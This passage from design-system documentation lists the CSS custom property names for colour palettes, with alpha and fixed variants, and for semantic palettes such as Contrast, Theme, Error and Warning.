`--kbq-plt-dark-teal-1`, `--kbq-plt-dark-teal-2`, `--kbq-plt-dark-teal-3`, `--kbq-plt-dark-teal-4`, `--kbq-plt-dark-teal-5`, `--kbq-plt-dark-teal-6`, `--kbq-plt-dark-teal-7`, `--kbq-plt-dark-teal-8`, `--kbq-plt-dark-teal-9`, `--kbq-plt-dark-teal-10`, `--kbq-plt-dark-teal-11`, `--kbq-plt-dark-teal-12`, `--kbq-plt-dark-teal-13`, `--kbq-plt-dark-teal-14`, `--kbq-plt-dark-teal-15`, `--kbq-plt-dark-teal-16`, `--kbq-plt-dark-teal-17`, `--kbq-plt-dark-teal-18`, `--kbq-plt-dark-teal-19`, `--kbq-plt-dark-teal-20`

#### DarkPurple

`--kbq-plt-dark-purple-1`, `--kbq-plt-dark-purple-2`, `--kbq-plt-dark-purple-3`, `--kbq-plt-dark-purple-4`, `--kbq-plt-dark-purple-5`, `--kbq-plt-dark-purple-6`, `--kbq-plt-dark-purple-7`, `--kbq-plt-dark-purple-8`, `--kbq-plt-dark-purple-9`, `--kbq-plt-dark-purple-10`, `--kbq-plt-dark-purple-11`, `--kbq-plt-dark-purple-12`, `--kbq-plt-dark-purple-13`, `--kbq-plt-dark-purple-14`, `--kbq-plt-dark-purple-15`, `--kbq-plt-dark-purple-16`, `--kbq-plt-dark-purple-17`, `--kbq-plt-dark-purple-18`, `--kbq-plt-dark-purple-19`, `--kbq-plt-dark-purple-20`

#### Grey

`--kbq-plt-grey-1`, `--kbq-plt-grey-2`, `--kbq-plt-grey-3`, `--kbq-plt-grey-4`, `--kbq-plt-grey-5`, `--kbq-plt-grey-6`, `--kbq-plt-grey-7`, `--kbq-plt-grey-8`, `--kbq-plt-grey-9`, `--kbq-plt-grey-10`, `--kbq-plt-grey-11`, `--kbq-plt-grey-12`, `--kbq-plt-grey-13`, `--kbq-plt-grey-14`, `--kbq-plt-grey-15`, `--kbq-plt-grey-16`, `--kbq-plt-grey-17`, `--kbq-plt-grey-18`, `--kbq-plt-grey-19`, `--kbq-plt-grey-20`

#### DarkGrey

`--kbq-plt-dark-grey-1`, `--kbq-plt-dark-grey-2`, `--kbq-plt-dark-grey-3`, `--kbq-plt-dark-grey-4`, `--kbq-plt-dark-grey-5`, `--kbq-plt-dark-grey-6`, `--kbq-plt-dark-grey-7`, `--kbq-plt-dark-grey-8`, `--kbq-plt-dark-grey-9`, `--kbq-plt-dark-grey-10`, `--kbq-plt-dark-grey-11`, `--kbq-plt-dark-grey-12`, `--kbq-plt-dark-grey-13`, `--kbq-plt-dark-grey-14`, `--kbq-plt-dark-grey-15`, `--kbq-plt-dark-grey-16`, `--kbq-plt-dark-grey-17`, `--kbq-plt-dark-grey-18`, `--kbq-plt-dark-grey-19`, `--kbq-plt-dark-grey-20`

#### GreyA

`--kbq-plt-grey-a1`, `--kbq-plt-grey-a2`, `--kbq-plt-grey-a3`, `--kbq-plt-grey-a4`, `--kbq-plt-grey-a5`, `--kbq-plt-grey-a6`, `--kbq-plt-grey-a7`, `--kbq-plt-grey-a8`, `--kbq-plt-grey-a9`, `--kbq-plt-grey-a10`, `--kbq-plt-grey-a11`, `--kbq-plt-grey-a12`, `--kbq-plt-grey-a13`, `--kbq-plt-grey-a14`, `--kbq-plt-grey-a15`, `--kbq-plt-grey-a16`, `--kbq-plt-grey-a17`, `--kbq-plt-grey-a18`, `--kbq-plt-grey-a19`, `--kbq-plt-grey-a20`

#### DarkGreyA

`--kbq-plt-dark-grey-a1`, `--kbq-plt-dark-grey-a2`, `--kbq-plt-dark-grey-a3`, `--kbq-plt-dark-grey-a4`, `--kbq-plt-dark-grey-a5`, `--kbq-plt-dark-grey-a6`, `--kbq-plt-dark-grey-a7`, `--kbq-plt-dark-grey-a8`, `--kbq-plt-dark-grey-a9`, `--kbq-plt-dark-grey-a10`, `--kbq-plt-dark-grey-a11`, `--kbq-plt-dark-grey-a12`, `--kbq-plt-dark-grey-a13`, `--kbq-plt-dark-grey-a14`, `--kbq-plt-dark-grey-a15`, `--kbq-plt-dark-grey-a16`, `--kbq-plt-dark-grey-a17`, `--kbq-plt-dark-grey-a18`, `--kbq-plt-dark-grey-a19`, `--kbq-plt-dark-grey-a20`

#### WhiteA

`--kbq-plt-white-a1`, `--kbq-plt-white-a2`, `--kbq-plt-white-a3`, `--kbq-plt-white-a4`, `--kbq-plt-white-a5`, `--kbq-plt-white-a6`, `--kbq-plt-white-a7`, `--kbq-plt-white-a8`, `--kbq-plt-white-a9`, `--kbq-plt-white-a10`, `--kbq-plt-white-a11`, `--kbq-plt-white-a12`, `--kbq-plt-white-a13`, `--kbq-plt-white-a14`, `--kbq-plt-white-a15`, `--kbq-plt-white-a16`, `--kbq-plt-white-a17`, `--kbq-plt-white-a18`, `--kbq-plt-white-a19`, `--kbq-plt-white-a20`

#### BlackA

`--kbq-plt-black-a1`, `--kbq-plt-black-a2`, `--kbq-plt-black-a3`, `--kbq-plt-black-a4`, `--kbq-plt-black-a5`, `--kbq-plt-black-a6`, `--kbq-plt-black-a7`, `--kbq-plt-black-a8`, `--kbq-plt-black-a9`, `--kbq-plt-black-a10`, `--kbq-plt-black-a11`, `--kbq-plt-black-a12`, `--kbq-plt-black-a13`, `--kbq-plt-black-a14`, `--kbq-plt-black-a15`, `--kbq-plt-black-a16`, `--kbq-plt-black-a17`, `--kbq-plt-black-a18`, `--kbq-plt-black-a19`, `--kbq-plt-black-a20`

#### BlueA

`--kbq-plt-blue-a1`, `--kbq-plt-blue-a2`, `--kbq-plt-blue-a3`, `--kbq-plt-blue-a4`, `--kbq-plt-blue-a5`, `--kbq-plt-blue-a6`, `--kbq-plt-blue-a7`, `--kbq-plt-blue-a8`, `--kbq-plt-blue-a9`, `--kbq-plt-blue-a10`, `--kbq-plt-blue-a11`, `--kbq-plt-blue-a12`, `--kbq-plt-blue-a13`, `--kbq-plt-blue-a14`, `--kbq-plt-blue-a15`, `--kbq-plt-blue-a16`, `--kbq-plt-blue-a17`, `--kbq-plt-blue-a18`, `--kbq-plt-blue-a19`, `--kbq-plt-blue-a20`

#### SlateA

`--kbq-plt-slate-a1`, `--kbq-plt-slate-a2`, `--kbq-plt-slate-a3`, `--kbq-plt-slate-a4`, `--kbq-plt-slate-a5`, `--kbq-plt-slate-a6`, `--kbq-plt-slate-a7`, `--kbq-plt-slate-a8`, `--kbq-plt-slate-a9`, `--kbq-plt-slate-a10`, `--kbq-plt-slate-a11`, `--kbq-plt-slate-a12`, `--kbq-plt-slate-a13`, `--kbq-plt-slate-a14`, `--kbq-plt-slate-a15`, `--kbq-plt-slate-a16`, `--kbq-plt-slate-a17`, `--kbq-plt-slate-a18`, `--kbq-plt-slate-a19`, `--kbq-plt-slate-a20`

#### RedA

`--kbq-plt-red-a1`, `--kbq-plt-red-a2`, `--kbq-plt-red-a3`, `--kbq-plt-red-a4`, `--kbq-plt-red-a5`, `--kbq-plt-red-a6`, `--kbq-plt-red-a7`, `--kbq-plt-red-a8`, `--kbq-plt-red-a9`, `--kbq-plt-red-a10`, `--kbq-plt-red-a11`, `--kbq-plt-red-a12`, `--kbq-plt-red-a13`, `--kbq-plt-red-a14`, `--kbq-plt-red-a15`, `--kbq-plt-red-a16`, `--kbq-plt-red-a17`, `--kbq-plt-red-a18`, `--kbq-plt-red-a19`, `--kbq-plt-red-a20`

#### OrangeA

`--kbq-plt-orange-a1`, `--kbq-plt-orange-a2`, `--kbq-plt-orange-a3`, `--kbq-plt-orange-a4`, `--kbq-plt-orange-a5`, `--kbq-plt-orange-a6`, `--kbq-plt-orange-a7`, `--kbq-plt-orange-a8`, `--kbq-plt-orange-a9`, `--kbq-plt-orange-a10`, `--kbq-plt-orange-a11`, `--kbq-plt-orange-a12`, `--kbq-plt-orange-a13`, `--kbq-plt-orange-a14`, `--kbq-plt-orange-a15`, `--kbq-plt-orange-a16`, `--kbq-plt-orange-a17`, `--kbq-plt-orange-a18`, `--kbq-plt-orange-a19`, `--kbq-plt-orange-a20`

#### YellowA

`--kbq-plt-yellow-a1`, `--kbq-plt-yellow-a2`, `--kbq-plt-yellow-a3`, `--kbq-plt-yellow-a4`, `--kbq-plt-yellow-a5`, `--kbq-plt-yellow-a6`, `--kbq-plt-yellow-a7`, `--kbq-plt-yellow-a8`, `--kbq-plt-yellow-a9`, `--kbq-plt-yellow-a10`, `--kbq-plt-yellow-a11`, `--kbq-plt-yellow-a12`, `--kbq-plt-yellow-a13`, `--kbq-plt-yellow-a14`, `--kbq-plt-yellow-a15`, `--kbq-plt-yellow-a16`, `--kbq-plt-yellow-a17`, `--kbq-plt-yellow-a18`, `--kbq-plt-yellow-a19`, `--kbq-plt-yellow-a20`

#### GreenA

`--kbq-plt-green-a1`, `--kbq-plt-green-a2`, `--kbq-plt-green-a3`, `--kbq-plt-green-a4`, `--kbq-plt-green-a5`, `--kbq-plt-green-a6`, `--kbq-plt-green-a7`, `--kbq-plt-green-a8`, `--kbq-plt-green-a9`, `--kbq-plt-green-a10`, `--kbq-plt-green-a11`, `--kbq-plt-green-a12`, `--kbq-plt-green-a13`, `--kbq-plt-green-a14`, `--kbq-plt-green-a15`, `--kbq-plt-green-a16`, `--kbq-plt-green-a17`, `--kbq-plt-green-a18`, `--kbq-plt-green-a19`, `--kbq-plt-green-a20`

#### TealA

`--kbq-plt-teal-a1`, `--kbq-plt-teal-a2`, `--kbq-plt-teal-a3`, `--kbq-plt-teal-a4`, `--kbq-plt-teal-a5`, `--kbq-plt-teal-a6`, `--kbq-plt-teal-a7`, `--kbq-plt-teal-a8`, `--kbq-plt-teal-a9`, `--kbq-plt-teal-a10`, `--kbq-plt-teal-a11`, `--kbq-plt-teal-a12`, `--kbq-plt-teal-a13`, `--kbq-plt-teal-a14`, `--kbq-plt-teal-a15`, `--kbq-plt-teal-a16`, `--kbq-plt-teal-a17`, `--kbq-plt-teal-a18`, `--kbq-plt-teal-a19`, `--kbq-plt-teal-a20`

#### PurpleA

`--kbq-plt-purple-a1`, `--kbq-plt-purple-a2`, `--kbq-plt-purple-a3`, `--kbq-plt-purple-a4`, `--kbq-plt-purple-a5`, `--kbq-plt-purple-a6`, `--kbq-plt-purple-a7`, `--kbq-plt-purple-a8`, `--kbq-plt-purple-a9`, `--kbq-plt-purple-a10`, `--kbq-plt-purple-a11`, `--kbq-plt-purple-a12`, `--kbq-plt-purple-a13`, `--kbq-plt-purple-a14`, `--kbq-plt-purple-a15`, `--kbq-plt-purple-a16`, `--kbq-plt-purple-a17`, `--kbq-plt-purple-a18`, `--kbq-plt-purple-a19`, `--kbq-plt-purple-a20`

#### DarkBlueA

`--kbq-plt-dark-blue-a1`, `--kbq-plt-dark-blue-a2`, `--kbq-plt-dark-blue-a3`, `--kbq-plt-dark-blue-a4`, `--kbq-plt-dark-blue-a5`, `--kbq-plt-dark-blue-a6`, `--kbq-plt-dark-blue-a7`, `--kbq-plt-dark-blue-a8`, `--kbq-plt-dark-blue-a9`, `--kbq-plt-dark-blue-a10`, `--kbq-plt-dark-blue-a11`, `--kbq-plt-dark-blue-a12`, `--kbq-plt-dark-blue-a13`, `--kbq-plt-dark-blue-a14`, `--kbq-plt-dark-blue-a15`, `--kbq-plt-dark-blue-a16`, `--kbq-plt-dark-blue-a17`, `--kbq-plt-dark-blue-a18`, `--kbq-plt-dark-blue-a19`, `--kbq-plt-dark-blue-a20`

#### DarkSlateA

`--kbq-plt-dark-slate-a1`, `--kbq-plt-dark-slate-a2`, `--kbq-plt-dark-slate-a3`, `--kbq-plt-dark-slate-a4`, `--kbq-plt-dark-slate-a5`, `--kbq-plt-dark-slate-a6`, `--kbq-plt-dark-slate-a7`, `--kbq-plt-dark-slate-a8`, `--kbq-plt-dark-slate-a9`, `--kbq-plt-dark-slate-a10`, `--kbq-plt-dark-slate-a11`, `--kbq-plt-dark-slate-a12`, `--kbq-plt-dark-slate-a13`, `--kbq-plt-dark-slate-a14`, `--kbq-plt-dark-slate-a15`, `--kbq-plt-dark-slate-a16`, `--kbq-plt-dark-slate-a17`, `--kbq-plt-dark-slate-a18`, `--kbq-plt-dark-slate-a19`, `--kbq-plt-dark-slate-a20`

#### DarkRedA

`--kbq-plt-dark-red-a1`, `--kbq-plt-dark-red-a2`, `--kbq-plt-dark-red-a3`, `--kbq-plt-dark-red-a4`, `--kbq-plt-dark-red-a5`, `--kbq-plt-dark-red-a6`, `--kbq-plt-dark-red-a7`, `--kbq-plt-dark-red-a8`, `--kbq-plt-dark-red-a9`, `--kbq-plt-dark-red-a10`, `--kbq-plt-dark-red-a11`, `--kbq-plt-dark-red-a12`, `--kbq-plt-dark-red-a13`, `--kbq-plt-dark-red-a14`, `--kbq-plt-dark-red-a15`, `--kbq-plt-dark-red-a16`, `--kbq-plt-dark-red-a17`, `--kbq-plt-dark-red-a18`, `--kbq-plt-dark-red-a19`, `--kbq-plt-dark-red-a20`

#### DarkOrangeA

`--kbq-plt-dark-orange-a1`, `--kbq-plt-dark-orange-a2`, `--kbq-plt-dark-orange-a3`, `--kbq-plt-dark-orange-a4`, `--kbq-plt-dark-orange-a5`, `--kbq-plt-dark-orange-a6`, `--kbq-plt-dark-orange-a7`, `--kbq-plt-dark-orange-a8`, `--kbq-plt-dark-orange-a9`, `--kbq-plt-dark-orange-a10`, `--kbq-plt-dark-orange-a11`, `--kbq-plt-dark-orange-a12`, `--kbq-plt-dark-orange-a13`, `--kbq-plt-dark-orange-a14`, `--kbq-plt-dark-orange-a15`, `--kbq-plt-dark-orange-a16`, `--kbq-plt-dark-orange-a17`, `--kbq-plt-dark-orange-a18`, `--kbq-plt-dark-orange-a19`, `--kbq-plt-dark-orange-a20`

#### DarkYellowA

`--kbq-plt-dark-yellow-a1`, `--kbq-plt-dark-yellow-a2`, `--kbq-plt-dark-yellow-a3`, `--kbq-plt-dark-yellow-a4`, `--kbq-plt-dark-yellow-a5`, `--kbq-plt-dark-yellow-a6`, `--kbq-plt-dark-yellow-a7`, `--kbq-plt-dark-yellow-a8`, `--kbq-plt-dark-yellow-a9`, `--kbq-plt-dark-yellow-a10`, `--kbq-plt-dark-yellow-a11`, `--kbq-plt-dark-yellow-a12`, `--kbq-plt-dark-yellow-a13`, `--kbq-plt-dark-yellow-a14`, `--kbq-plt-dark-yellow-a15`, `--kbq-plt-dark-yellow-a16`, `--kbq-plt-dark-yellow-a17`, `--kbq-plt-dark-yellow-a18`, `--kbq-plt-dark-yellow-a19`, `--kbq-plt-dark-yellow-a20`

#### DarkGreenA

`--kbq-plt-dark-green-a1`, `--kbq-plt-dark-green-a2`, `--kbq-plt-dark-green-a3`, `--kbq-plt-dark-green-a4`, `--kbq-plt-dark-green-a5`, `--kbq-plt-dark-green-a6`, `--kbq-plt-dark-green-a7`, `--kbq-plt-dark-green-a8`, `--kbq-plt-dark-green-a9`, `--kbq-plt-dark-green-a10`, `--kbq-plt-dark-green-a11`, `--kbq-plt-dark-green-a12`, `--kbq-plt-dark-green-a13`, `--kbq-plt-dark-green-a14`, `--kbq-plt-dark-green-a15`, `--kbq-plt-dark-green-a16`, `--kbq-plt-dark-green-a17`, `--kbq-plt-dark-green-a18`, `--kbq-plt-dark-green-a19`, `--kbq-plt-dark-green-a20`

#### DarkTealA

`--kbq-plt-dark-teal-a1`, `--kbq-plt-dark-teal-a2`, `--kbq-plt-dark-teal-a3`, `--kbq-plt-dark-teal-a4`, `--kbq-plt-dark-teal-a5`, `--kbq-plt-dark-teal-a6`, `--kbq-plt-dark-teal-a7`, `--kbq-plt-dark-teal-a8`, `--kbq-plt-dark-teal-a9`, `--kbq-plt-dark-teal-a10`, `--kbq-plt-dark-teal-a11`, `--kbq-plt-dark-teal-a12`, `--kbq-plt-dark-teal-a13`, `--kbq-plt-dark-teal-a14`, `--kbq-plt-dark-teal-a15`, `--kbq-plt-dark-teal-a16`, `--kbq-plt-dark-teal-a17`, `--kbq-plt-dark-teal-a18`, `--kbq-plt-dark-teal-a19`, `--kbq-plt-dark-teal-a20`

#### DarkPurpleA

`--kbq-plt-dark-purple-a1`, `--kbq-plt-dark-purple-a2`, `--kbq-plt-dark-purple-a3`, `--kbq-plt-dark-purple-a4`, `--kbq-plt-dark-purple-a5`, `--kbq-plt-dark-purple-a6`, `--kbq-plt-dark-purple-a7`, `--kbq-plt-dark-purple-a8`, `--kbq-plt-dark-purple-a9`, `--kbq-plt-dark-purple-a10`, `--kbq-plt-dark-purple-a11`, `--kbq-plt-dark-purple-a12`, `--kbq-plt-dark-purple-a13`, `--kbq-plt-dark-purple-a14`, `--kbq-plt-dark-purple-a15`, `--kbq-plt-dark-purple-a16`, `--kbq-plt-dark-purple-a17`, `--kbq-plt-dark-purple-a18`, `--kbq-plt-dark-purple-a19`, `--kbq-plt-dark-purple-a20`

#### YellowFixed

`--kbq-plt-yellow-fixed-1`, `--kbq-plt-yellow-fixed-2`, `--kbq-plt-yellow-fixed-3`, `--kbq-plt-yellow-fixed-4`, `--kbq-plt-yellow-fixed-5`, `--kbq-plt-yellow-fixed-6`, `--kbq-plt-yellow-fixed-7`, `--kbq-plt-yellow-fixed-8`, `--kbq-plt-yellow-fixed-9`, `--kbq-plt-yellow-fixed-10`, `--kbq-plt-yellow-fixed-11`, `--kbq-plt-yellow-fixed-12`, `--kbq-plt-yellow-fixed-13`, `--kbq-plt-yellow-fixed-14`, `--kbq-plt-yellow-fixed-15`, `--kbq-plt-yellow-fixed-16`, `--kbq-plt-yellow-fixed-17`, `--kbq-plt-yellow-fixed-18`, `--kbq-plt-yellow-fixed-19`, `--kbq-plt-yellow-fixed-20`

#### OrangeFixed

`--kbq-plt-orange-fixed-1`, `--kbq-plt-orange-fixed-2`, `--kbq-plt-orange-fixed-3`, `--kbq-plt-orange-fixed-4`, `--kbq-plt-orange-fixed-5`, `--kbq-plt-orange-fixed-6`, `--kbq-plt-orange-fixed-7`, `--kbq-plt-orange-fixed-8`, `--kbq-plt-orange-fixed-9`, `--kbq-plt-orange-fixed-10`, `--kbq-plt-orange-fixed-11`, `--kbq-plt-orange-fixed-12`, `--kbq-plt-orange-fixed-13`, `--kbq-plt-orange-fixed-14`, `--kbq-plt-orange-fixed-15`, `--kbq-plt-orange-fixed-16`, `--kbq-plt-orange-fixed-17`, `--kbq-plt-orange-fixed-18`, `--kbq-plt-orange-fixed-19`, `--kbq-plt-orange-fixed-20`

#### DarkYellowFixed

`--kbq-plt-dark-yellow-fixed-1`, `--kbq-plt-dark-yellow-fixed-2`, `--kbq-plt-dark-yellow-fixed-3`, `--kbq-plt-dark-yellow-fixed-4`, `--kbq-plt-dark-yellow-fixed-5`, `--kbq-plt-dark-yellow-fixed-6`, `--kbq-plt-dark-yellow-fixed-7`, `--kbq-plt-dark-yellow-fixed-8`, `--kbq-plt-dark-yellow-fixed-9`, `--kbq-plt-dark-yellow-fixed-10`, `--kbq-plt-dark-yellow-fixed-11`, `--kbq-plt-dark-yellow-fixed-12`, `--kbq-plt-dark-yellow-fixed-13`, `--kbq-plt-dark-yellow-fixed-14`, `--kbq-plt-dark-yellow-fixed-15`, `--kbq-plt-dark-yellow-fixed-16`, `--kbq-plt-dark-yellow-fixed-17`, `--kbq-plt-dark-yellow-fixed-18`, `--kbq-plt-dark-yellow-fixed-19`, `--kbq-plt-dark-yellow-fixed-20`

#### DarkOrangeFixed

`--kbq-plt-dark-orange-fixed-1`, `--kbq-plt-dark-orange-fixed-2`, `--kbq-plt-dark-orange-fixed-3`, `--kbq-plt-dark-orange-fixed-4`, `--kbq-plt-dark-orange-fixed-5`, `--kbq-plt-dark-orange-fixed-6`, `--kbq-plt-dark-orange-fixed-7`, `--kbq-plt-dark-orange-fixed-8`, `--kbq-plt-dark-orange-fixed-9`, `--kbq-plt-dark-orange-fixed-10`, `--kbq-plt-dark-orange-fixed-11`, `--kbq-plt-dark-orange-fixed-12`, `--kbq-plt-dark-orange-fixed-13`, `--kbq-plt-dark-orange-fixed-14`, `--kbq-plt-dark-orange-fixed-15`, `--kbq-plt-dark-orange-fixed-16`, `--kbq-plt-dark-orange-fixed-17`, `--kbq-plt-dark-orange-fixed-18`, `--kbq-plt-dark-orange-fixed-19`, `--kbq-plt-dark-orange-fixed-20`

#### YellowFixedA

`--kbq-plt-yellow-fixed-a1`, `--kbq-plt-yellow-fixed-a2`, `--kbq-plt-yellow-fixed-a3`, `--kbq-plt-yellow-fixed-a4`, `--kbq-plt-yellow-fixed-a5`, `--kbq-plt-yellow-fixed-a6`, `--kbq-plt-yellow-fixed-a7`, `--kbq-plt-yellow-fixed-a8`, `--kbq-plt-yellow-fixed-a9`, `--kbq-plt-yellow-fixed-a10`, `--kbq-plt-yellow-fixed-a11`, `--kbq-plt-yellow-fixed-a12`, `--kbq-plt-yellow-fixed-a13`, `--kbq-plt-yellow-fixed-a14`, `--kbq-plt-yellow-fixed-a15`, `--kbq-plt-yellow-fixed-a16`, `--kbq-plt-yellow-fixed-a17`, `--kbq-plt-yellow-fixed-a18`, `--kbq-plt-yellow-fixed-a19`, `--kbq-plt-yellow-fixed-a20`

#### OrangeFixedA

`--kbq-plt-orange-fixed-a1`, `--kbq-plt-orange-fixed-a2`, `--kbq-plt-orange-fixed-a3`, `--kbq-plt-orange-fixed-a4`, `--kbq-plt-orange-fixed-a5`, `--kbq-plt-orange-fixed-a6`, `--kbq-plt-orange-fixed-a7`, `--kbq-plt-orange-fixed-a8`, `--kbq-plt-orange-fixed-a9`, `--kbq-plt-orange-fixed-a10`, `--kbq-plt-orange-fixed-a11`, `--kbq-plt-orange-fixed-a12`, `--kbq-plt-orange-fixed-a13`, `--kbq-plt-orange-fixed-a14`, `--kbq-plt-orange-fixed-a15`, `--kbq-plt-orange-fixed-a16`, `--kbq-plt-orange-fixed-a17`, `--kbq-plt-orange-fixed-a18`, `--kbq-plt-orange-fixed-a19`, `--kbq-plt-orange-fixed-a20`

#### DarkYellowFixedA

`--kbq-plt-dark-yellow-fixed-a1`, `--kbq-plt-dark-yellow-fixed-a2`, `--kbq-plt-dark-yellow-fixed-a3`, `--kbq-plt-dark-yellow-fixed-a4`, `--kbq-plt-dark-yellow-fixed-a5`, `--kbq-plt-dark-yellow-fixed-a6`, `--kbq-plt-dark-yellow-fixed-a7`, `--kbq-plt-dark-yellow-fixed-a8`, `--kbq-plt-dark-yellow-fixed-a9`, `--kbq-plt-dark-yellow-fixed-a10`, `--kbq-plt-dark-yellow-fixed-a11`, `--kbq-plt-dark-yellow-fixed-a12`, `--kbq-plt-dark-yellow-fixed-a13`, `--kbq-plt-dark-yellow-fixed-a14`, `--kbq-plt-dark-yellow-fixed-a15`, `--kbq-plt-dark-yellow-fixed-a16`, `--kbq-plt-dark-yellow-fixed-a17`, `--kbq-plt-dark-yellow-fixed-a18`, `--kbq-plt-dark-yellow-fixed-a19`, `--kbq-plt-dark-yellow-fixed-a20`

#### DarkOrangeFixedA

`--kbq-plt-dark-orange-fixed-a1`, `--kbq-plt-dark-orange-fixed-a2`, `--kbq-plt-dark-orange-fixed-a3`, `--kbq-plt-dark-orange-fixed-a4`, `--kbq-plt-dark-orange-fixed-a5`, `--kbq-plt-dark-orange-fixed-a6`, `--kbq-plt-dark-orange-fixed-a7`, `--kbq-plt-dark-orange-fixed-a8`, `--kbq-plt-dark-orange-fixed-a9`, `--kbq-plt-dark-orange-fixed-a10`, `--kbq-plt-dark-orange-fixed-a11`, `--kbq-plt-dark-orange-fixed-a12`, `--kbq-plt-dark-orange-fixed-a13`, `--kbq-plt-dark-orange-fixed-a14`, `--kbq-plt-dark-orange-fixed-a15`, `--kbq-plt-dark-orange-fixed-a16`, `--kbq-plt-dark-orange-fixed-a17`, `--kbq-plt-dark-orange-fixed-a18`, `--kbq-plt-dark-orange-fixed-a19`, `--kbq-plt-dark-orange-fixed-a20`

#### White

`--kbq-plt-white`

#### Black

`--kbq-plt-black`

### Semantic palette

#### Contrast

`--kbq-semantic-contrast-1`, `--kbq-semantic-contrast-2`, `--kbq-semantic-contrast-3`, `--kbq-semantic-contrast-4`, `--kbq-semantic-contrast-5`, `--kbq-semantic-contrast-6`, `--kbq-semantic-contrast-7`, `--kbq-semantic-contrast-8`, `--kbq-semantic-contrast-9`, `--kbq-semantic-contrast-10`, `--kbq-semantic-contrast-11`, `--kbq-semantic-contrast-12`, `--kbq-semantic-contrast-13`, `--kbq-semantic-contrast-14`, `--kbq-semantic-contrast-15`, `--kbq-semantic-contrast-16`, `--kbq-semantic-contrast-17`, `--kbq-semantic-contrast-18`, `--kbq-semantic-contrast-19`, `--kbq-semantic-contrast-20`

#### ContrastA

`--kbq-semantic-contrast-a1`, `--kbq-semantic-contrast-a2`, `--kbq-semantic-contrast-a3`, `--kbq-semantic-contrast-a4`, `--kbq-semantic-contrast-a5`, `--kbq-semantic-contrast-a6`, `--kbq-semantic-contrast-a7`, `--kbq-semantic-contrast-a8`, `--kbq-semantic-contrast-a9`, `--kbq-semantic-contrast-a10`, `--kbq-semantic-contrast-a11`, `--kbq-semantic-contrast-a12`, `--kbq-semantic-contrast-a13`, `--kbq-semantic-contrast-a14`, `--kbq-semantic-contrast-a15`, `--kbq-semantic-contrast-a16`, `--kbq-semantic-contrast-a17`, `--kbq-semantic-contrast-a18`, `--kbq-semantic-contrast-a19`, `--kbq-semantic-contrast-a20`

#### Theme

`--kbq-semantic-theme-1`, `--kbq-semantic-theme-2`, `--kbq-semantic-theme-3`, `--kbq-semantic-theme-4`, `--kbq-semantic-theme-5`, `--kbq-semantic-theme-6`, `--kbq-semantic-theme-7`, `--kbq-semantic-theme-8`, `--kbq-semantic-theme-9`, `--kbq-semantic-theme-10`, `--kbq-semantic-theme-11`, `--kbq-semantic-theme-12`, `--kbq-semantic-theme-13`, `--kbq-semantic-theme-14`, `--kbq-semantic-theme-15`, `--kbq-semantic-theme-16`, `--kbq-semantic-theme-17`, `--kbq-semantic-theme-18`, `--kbq-semantic-theme-19`, `--kbq-semantic-theme-20`

#### ThemeA

`--kbq-semantic-theme-a1`, `--kbq-semantic-theme-a2`, `--kbq-semantic-theme-a3`, `--kbq-semantic-theme-a4`, `--kbq-semantic-theme-a5`, `--kbq-semantic-theme-a6`, `--kbq-semantic-theme-a7`, `--kbq-semantic-theme-a8`, `--kbq-semantic-theme-a9`, `--kbq-semantic-theme-a10`, `--kbq-semantic-theme-a11`, `--kbq-semantic-theme-a12`, `--kbq-semantic-theme-a13`, `--kbq-semantic-theme-a14`, `--kbq-semantic-theme-a15`, `--kbq-semantic-theme-a16`, `--kbq-semantic-theme-a17`, `--kbq-semantic-theme-a18`, `--kbq-semantic-theme-a19`, `--kbq-semantic-theme-a20`

#### Error

`--kbq-semantic-error-1`, `--kbq-semantic-error-2`, `--kbq-semantic-error-3`, `--kbq-semantic-error-4`, `--kbq-semantic-error-5`, `--kbq-semantic-error-6`, `--kbq-semantic-error-7`, `--kbq-semantic-error-8`, `--kbq-semantic-error-9`, `--kbq-semantic-error-10`, `--kbq-semantic-error-11`, `--kbq-semantic-error-12`, `--kbq-semantic-error-13`, `--kbq-semantic-error-14`, `--kbq-semantic-error-15`, `--kbq-semantic-error-16`, `--kbq-semantic-error-17`, `--kbq-semantic-error-18`, `--kbq-semantic-error-19`, `--kbq-semantic-error-20`

#### ErrorA

`--kbq-semantic-error-a1`, `--kbq-semantic-error-a2`, `--kbq-semantic-error-a3`, `--kbq-semantic-error-a4`, `--kbq-semantic-error-a5`, `--kbq-semantic-error-a6`, `--kbq-semantic-error-a7`, `--kbq-semantic-error-a8`, `--kbq-semantic-error-a9`, `--kbq-semantic-error-a10`, `--kbq-semantic-error-a11`, `--kbq-semantic-error-a12`, `--kbq-semantic-error-a13`, `--kbq-semantic-error-a14`, `--kbq-semantic-error-a15`, `--kbq-semantic-error-a16`, `--kbq-semantic-error-a17`, `--kbq-semantic-error-a18`, `--kbq-semantic-error-a19`, `--kbq-semantic-error-a20`

#### Warning

`--kbq-semantic-warning-1`, `--kbq-semantic-warning-2`, `--kbq-semantic-warning-3`, `--kbq-semantic-warning-4`, `--kbq-semantic-warning-5`, `--kbq-semantic-warning-6`, `--kbq-semantic-warning-7`, `--kbq-semantic-warning-8`, `--kbq-semantic-warning-9`, `--kbq-semantic-warning-10`, `--kbq-semantic-warning-11`, `--kbq-semantic-warning-12`, `--kbq-semantic-warning-13`, `--kbq-semantic-warning-14`, `--kbq-semantic-warning-15`, `--kbq-semantic-warning-16`, `--kbq-semantic-warning-17`, `--kbq-semantic-warning-18`, `--kbq-semantic-warning-19`, `--kbq-semantic-warning-20`

#### WarningA

`--kbq-semantic-warning-a1`, `--kbq-semantic-warning-a2`, `--kbq-semantic-warning-a3`, `--kbq-semantic-warning-a4`, `--kbq-semantic-warning-a5`, `--kbq-semantic-warning-a6`, `--kbq-semantic-warning-a7`, `--kbq-semantic-warning-a8`, `--kbq-semantic-warning-a9`, `--kbq-semantic-warning-a10`, `--kbq-semantic-warning-a11`, `--kbq-semantic-warning-a12`, `--kbq-semantic-warning-a13`, `--kbq-semantic-warning-a14`, `--kbq-semantic-warning-a15`, `--kbq-semantic-warning-a16`, `--kbq-semantic-warning-a17`, `--kbq-semantic-warning-a18`, `--kbq-semantic-warning-a19`, `--kbq-semantic-warning-a20`

#### WarningFixed

